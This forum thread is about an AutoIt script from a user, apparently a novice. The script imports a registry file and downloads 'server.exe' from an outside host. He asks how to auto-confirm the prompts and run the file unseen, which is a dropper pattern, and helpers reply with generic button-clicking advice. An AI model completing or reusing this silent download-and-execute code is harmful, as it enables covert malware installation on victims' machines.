TwisterIT2

AUTOIT Download , Save , Execute

24 posts in this topic

Can anyone help me with these please ?
I am trying to make a program that execute a reg file and it press yes automatically and after that to download  a file to save and move it to "Documents" and run it.
Thanks for all the time that you have given me to read my bad english...

Code :

WinActive("LibroHacker")
#RequireAdmin
$regFile = @TempDir & "\filter.reg"
RunWait("Regedit " & $regFile)
$FileURL = "http://www.google.com/file.exe"
$FileName = "file.exe"
$FileSaveLocation = FileSaveDialog("Save Location...",@ScriptDir,"All (*.*)",18,$FileName)
$FileSize = InetGetSize($FileURL)

InetGet($FileURL,$FileName,0,1)

ProgressOn("","")
While @InetGetActive
    $Percentage = @InetGetBytesRead * 100 / $FileSize
    ProgressSet($Percentage,"Downloaded " & @InetGetBytesRead & " of " & $FileSize & " bytes","Downloading " & $FileName)
    Sleep(250)
Wend
ProgressOff()

 

Screenshot_4.png

Screenshot_5.png

Share this post


Link to post
Share on other sites



1 minute ago, TwisterIT2 said:

WinActive("LibroHacker")

What is this "LibroHacker" application?


AutoIt.4.Life Clubrooms - Life is like a Donut (secret key)

Spoiler

My contributions to the AutoIt Community

Some messages & Apologizes:

If I hurt you, Please accept my apologies, I never (regardless of the situation) mean to hurt anybody!!!

Also, I am very busy with my project so I will appear in the last row of the online list, if you want to contact me: Email@TheDcoder.xyz

Or you can have a nice chat with me in freenode, I use the same nick on freenode too!

3fHNZJ.gif

PLEASE JOIN ##AutoIt AND HELP THE IRC AUTOIT COMMUNITY!

Share this post


Link to post
Share on other sites

Nope , just a name "book of hackers" i finded this on internet... i geted it from a friend ... i am new in autoit ...

Share this post


Link to post
Share on other sites

i geted the code from the internet*...

 

Share this post


Link to post
Share on other sites

Can you help me ? ...

 

Share this post


Link to post
Share on other sites

Please state your problem :)

 


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

So i don't know how to make auto button press . like when the windows with "execute reg files" show up i want cuz the program press button "yes" automaticallly ,after that when the download start and show up "save location" i want cuz it press button save automatically and move the file to "Documets" and run it.

Share this post


Link to post
Share on other sites

Reg Button Yes Class : #32770 [CLASS:Button; INSTANCE:1]
And Save Have  The Same code , how can i insert auto press?

Share this post


Link to post
Share on other sites

Ok. There are few methods to press a button by code.

1. Find the window name and button's control ID with AutoIt Window Info Tool.  And then you can use ControlClick function to click the button. Please read the help file for ControlClick function.

2. If the desired button is on focus by default, then you need to send and "Enter" key press to click that button. Use WinActivate and Send functions. And by the way what do you meant by "cuz" 


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

i want to say "to" but i don't know why i use so many times "cuz" ... sorry about that ... i can't use shellcode for this?

Share this post


Link to post
Share on other sites

If u want to click the button in a window, first check the window is existing. Use WinExists function. And then use ControlClick. 


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

can you give me a code example...?

Share this post


Link to post
Share on other sites

Do you read the help file ?


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

$regFile = @TempDir & "\filter.reg"
RunWait("Regedit " & $regFile)
WinActivate("Registry Editor")
Send ("{ENTER}")

but for save location where i need to insert "WinActivate ("Save Location...") ?

Share this post


Link to post
Share on other sites

See this image. This button helps you to post code on forum.

 000275.jpg


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites
$FileURL = "http://www.librok0nnix.3x.ro/server.exe"
$FileName = "server.exe"
$FileSaveLocation = FileSaveDialog("Save Location...",@ScriptDir,"All (*.*)",18,$FileName)
$FileSize = InetGetSize($FileURL)

InetGet($FileURL,$FileName,0,1)

ProgressOn("","")
While @InetGetActive
    $Percentage = @InetGetBytesRead * 100 / $FileSize
    ProgressSet($Percentage,"Downloaded " & @InetGetBytesRead & " of " & $FileSize & " bytes","Downloading " & $FileName)
    Sleep(250)
Wend
ProgressOff()

where can i insert "WinActivate ("Save Location...") ?

Share this post


Link to post
Share on other sites

And you know, RunWait will pause the script execution till it completes the run process. 


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

Any idea to modify it ?

Share this post


Link to post
Share on other sites

What is @InetGetActive ?


My Contributions

UDF Link Viewer   --- A tool to visit the links of some most important UDFs 

 Includer_2  ----- A tool to type the #include statement automatically 

 Digits To Date  ----- date from 3 integer values

PrintList ----- prints arrays into console for testing.

 Alert  ------ An alternative for MsgBox 

 MousePosition ------- A simple tooltip display of mouse position

GRM Helper -------- A littile tool to help writing code with GUIRegisterMsg function

Access_UDF  -------- An UDF for working with access database files. (.*accdb only)

 

Share this post


Link to post
Share on other sites

I finded this code on group ....

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.